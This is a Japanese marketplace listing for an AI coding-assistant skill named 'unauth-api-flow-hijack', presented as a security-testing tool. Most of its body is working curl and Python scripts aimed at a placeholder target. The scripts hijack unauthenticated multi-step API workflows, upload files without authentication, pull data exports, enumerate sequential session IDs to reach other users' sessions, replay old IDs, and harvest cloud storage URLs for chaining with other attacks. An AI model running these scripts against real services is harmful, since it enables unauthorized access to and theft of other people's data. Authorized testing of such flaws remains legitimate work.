mcpField
U
unauth-api-flow-hijack

unauth-api-flow-hijack

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

unauth-api-flow-hijack について

認証なしで動作する可能性のある多段階APIワークフローを評価するセキュリティテスト用スキルです。状態遷移を追い、アップロード、エクスポート、セッション識別子を調べます。

主な機能

  1. 01未認証ワークフローのエンドポイント検出
  2. 02多段階APIの状態遷移の把握
  3. 03認証なしでのファイルアップロード検査
  4. 04エクスポートとダウンロードのアクセス確認
  5. 05セッションIDの再利用・列挙の評価

活用シーン

  1. 01認証のない申請・チェックアウトフローの監査
  2. 02ワークフローのアップロードが公開取得可能か確認
  3. 03エクスポートや他セッションへのアクセス検査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill unauth-api-flow-hijack

インストール後、Claude Code で/unauth-api-flow-hijackを入力して読み込まれたか確認します。

詳細

未認証 API フローの乗っ取り

どのステップでも認証が不要な、ビジネスワークフロー全体(面接、応募、購入手続き、オンボーディング)を実装する API エンドポイントを悪用します。単純なデータ漏えいとは異なり、こうしたフローでは攻撃者がアプリケーションの中核的なビジネスロジックに参加し、操作できます。フォームの送信、ファイルのアップロード、取引の完了、データのエクスポートが可能です。状態遷移全体に、認証情報なしでアクセスできます。

使用する状況

  • API が複数ステップのワークフロー(開始 → ステップ1 → ステップ2 → … → 完了)を提供している。
  • どのステップでも認証トークン、セッションクッキー、API キーが要求されない。
  • API がセッション識別子(UUID、トークン)を返し、後続のステップで再利用できる。
  • ワークフローにファイルのアップロード、データの送信、またはエクスポート機能が含まれている。
  • エラーメッセージから想定されるリクエスト形式が判明する(エンドポイントが稼働中であることを確認できる)。

前提条件

  • curl と python3 を使用できる terminal。
  • 認証なしで POST を受け付ける API エンドポイントが少なくとも 1 つ見つかっている。
  • エンドポイントが、後続のステップに渡せる識別子(セッション ID、面接 ID、トークン)を返す。

迅速な検出

# Probe common flow-starting endpoints
for ep in /start /api/start /api/v1/start /begin /init /api/init \
          /start-interview /api/interview/start /api/session/start; do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /tmp/resp.json -w "%{http_code}" \
    -X POST "https://target.com$ep" \
    -H "Content-Type: application/json" -d '{}')
  if [ "$code" = "200" ] || [ "$code" = "201" ]; then
    echo "=== $ep ($code) ==="
    cat /tmp/resp.json | python3 -m json.tool 2>/dev/null | head -20
    # Extract any returned ID
    cat /tmp/resp.json | python3 -c "
import sys,json,re
try:
    d=json.load(sys.stdin)
    for k in d:
        if any(x in k.lower() for x in ['id','token','session','key']):
            print(f'{k}: {d[k]}')
except: pass
"
  fi
done

手順

フェーズ 1 — フローのマッピング

API の自然な進行に沿って、すべてのステップを特定します。

import requests, json

BASE = "https://target.com"
session = requests.Session()

# Step 1: Start the flow
r = session.post(f"{BASE}/api/flow/start", json={})
data = r.json()
flow_id = data.get("id") or data.get("sessionId") or data.get("token")
print(f"Started: {flow_id}")

# Step 2-N: Follow the flow by submitting whatever the API asks for
for step in range(1, 20):
    # Try generic submissions — the API's error messages will guide you
    r = session.post(f"{BASE}/api/flow/submit", json={
        "id": flow_id,
        "answer": "test response",
        "data": {"key": "value"}
    })
    
    resp = r.json()
    print(f"Step {step}: {resp.get('currentStep', '?')} — {resp.get('message', '')[:80]}")
    
    # Check for completion or blocked paths
    if resp.get("complete") or resp.get("error"):
        break
    
    # Extract any requirements from the message
    if "required" in str(resp).lower() or "invalid" in str(resp).lower():
        print(f"  Validation: {json.dumps(resp)[:200]}")
フェーズ 2 — ファイルアップロードの悪用

フローにファイルアップロードが含まれている場合、制限のないアップロードが可能かテストします。

# Test file upload without auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
  -F "[email protected];type=application/pdf" \
  -F "id=$FLOW_ID" | python3 -m json.tool

# The response often returns a public URL for the uploaded file
# Check if uploads are stored in a public bucket
フェーズ 3 — データエクスポートの悪用

多くのフローでは、完了時にエクスポートまたはダウンロードを利用できます。

# Test export without auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export" -o export.xlsx
file export.xlsx  # Check if it's a real file with data

# Try export with different format parameters
for fmt in xlsx csv json pdf xml; do
  curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export?format=$fmt" -o "export.$fmt"
  [ -s "export.$fmt" ] && echo "export.$fmt: $(wc -c < export.$fmt) bytes"
done
フェーズ 4 — 列挙と再実行

セッション ID が予測可能、または露出している場合は、他のセッションを列挙します。

# Check if IDs are sequential or enumerable
for id in $(seq 1 100); do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
    "https://target.com/api/flow/status/$id")
  [ "$code" = "200" ] && echo "Active: $id"
done

# Test if old session IDs can be replayed
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/submit" \
  -H "Content-Type: application/json" \
  -d '{"id": "OLD_SESSION_ID", "answer": "replay test"}'
フェーズ 5 — ストレージアクセスとの連鎖

アップロード先がクラウドストレージのバケットである場合は、クラウド攻撃スキルと組み合わせます。

# Extract storage URLs from upload responses
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
  -F "[email protected]" \
  -F "id=$FLOW_ID" | python3 -c "
import sys, json, re
data = sys.stdin.read()
for url in re.findall(r'https?://[^\s\"<>]+\.(?:supabase\.co|amazonaws\.com|storage\.googleapis\.com)[^\s\"<>]*', data):
    print(f'STORAGE_URL: {url}')
"

注意点

  • レート制限によってフローが失敗することがあります。 複数ステップの API では、IP ごとにレート制限されることがよくあります。各ステップの間隔を空けてください(0.5〜1 秒)。
  • 状態には有効期限があります。 タイムアウト後にセッション ID を無効にするフローもあります。ステップが失敗し始めたら、フローを最初からやり直してください。
  • 検証による制約があります。 API が有効なデータ形式(メールアドレス、電話番号、ファイル形式)を要求する場合があります。エラーメッセージをよく読んでください。必要な形式が正確に示されています。
  • すべてのステップが POST とは限りません。 ステータス確認に GET、更新に PUT、キャンセルに DELETE を使うフローもあります。すべてのメソッドをテストしてください。
  • エクスポートが空の場合があります。 開始直後のフローでは、空のエクスポートが生成されます。エクスポートをテストする前に、フローを最後まで実行してください。

検証

  1. 認証なしで、開始から完了までフロー全体を実行します。
  2. 各ステップで状態が変化し、その変化が後続のステップで確認できること(フローが進行すること)を検証します。
  3. ファイルがアップロードされ、取得できることを確認します(返された URL を確認します)。
  4. エクスポートに実データが含まれることを検証します(ファイルサイズと内容を確認します)。
  5. セッション ID を列挙できる場合は、別のセッションへのアクセスを確認します(他のセッションのデータにアクセスします)。

関連スキル

  • api-noauth-hunt — 認証のない API エンドポイントを検出します。
  • hardcoded-credential-hunt — フロー内の権限の高いステップを解除するパスワードを探します。
  • hunt-write-gap — 読み取り認証なしで書き込みを受け付ける POST/PUT エンドポイントを調査します。
  • hunt-idor — フローのセッション ID における安全でない直接オブジェクト参照を悪用します。
  • firebase-supabase-attack — アップロード先が Supabase/Firebase ストレージの場合に使用します。

コメント